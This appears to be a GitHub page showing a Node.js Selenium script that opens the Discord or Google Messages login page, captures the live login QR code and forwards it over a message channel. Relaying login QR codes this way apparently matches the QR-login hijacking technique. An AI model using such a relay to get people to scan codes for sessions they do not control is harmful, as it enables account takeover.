-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathconnector.mjs
83 lines (83 loc) · 2.74 KB
/
connector.mjs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env node
import chalk from "chalk";
import { Builder, until, By } from "selenium-webdriver";
export async function connector(type, channel) {
try {
let SERVICE_URL = "http://localhost:8000/",
SUCCESS_URL = "http://localhost:8000/test",
QR_ELEMENT = "qr-code",
WAITOUT_TIME = 15000,
ATTRIBUTE_NAME = "src",
LOCATOR = By.className(QR_ELEMENT);
switch (type) {
case "Discord": {
SERVICE_URL = "https://discord.com/login";
QR_ELEMENT = "qrCode-2R7t9S";
WAITOUT_TIME = 15000;
ATTRIBUTE_NAME = "innerHTML";
SUCCESS_URL = "https://discord.com/channels/@me";
LOCATOR = By.className(QR_ELEMENT);
break;
}
case "Message": {
SERVICE_URL = "https://messages.google.com/web/authentication";
QR_ELEMENT = "qr-code";
WAITOUT_TIME = 30000;
ATTRIBUTE_NAME = "src";
SUCCESS_URL = "https://messages.google.com/web/conversations";
LOCATOR = By.className(QR_ELEMENT);
break;
}
default: {
break;
}
}
const driver = new Builder().forBrowser("chrome").build();
const socket = await driver.createCDPConnection("page");
await driver.logMutationEvents(socket, async (event) => {
try {
if (event["attribute_name"] === ATTRIBUTE_NAME) {
console.log(chalk.greenBright("[Status] - Got the qr code"));
if (ATTRIBUTE_NAME == "src") {
channel.postMessage({ src: event["current_value"] });
}
} else if (event["attribute_name"] == "class") {
const div = await driver.findElement(By.className(QR_ELEMENT));
if (div) {
const svg = await div.findElement(By.css("svg"));
const svgIMG = await svg.takeScreenshot();
if (svgIMG) {
console.log(chalk.greenBright("[Status] - Got the qr code"));
channel.postMessage({
src: "data:image/png;base64," + svgIMG,
});
}
}
}
} catch (err) {
console.log(err);
}
});
// await driver.onLogEvent(socket, (event) => {
// if (event) {
// console.log(event);
// driver
// .getCurrentUrl()
// .then((link) => {
// console.log(link);
// if (link === SUCCESS_URL) {
// channel.postMessage({ exit: "0" });
// // driver.quit()
// // .then(() => exit(0))
// // .catch((e) => console.log(e));
// }
// })
// .catch((e) => console.log(e));
// }
// });
await driver.get(SERVICE_URL);
await driver.wait(until.elementLocated(LOCATOR), WAITOUT_TIME);
} catch (e) {
console.log(e);
}
}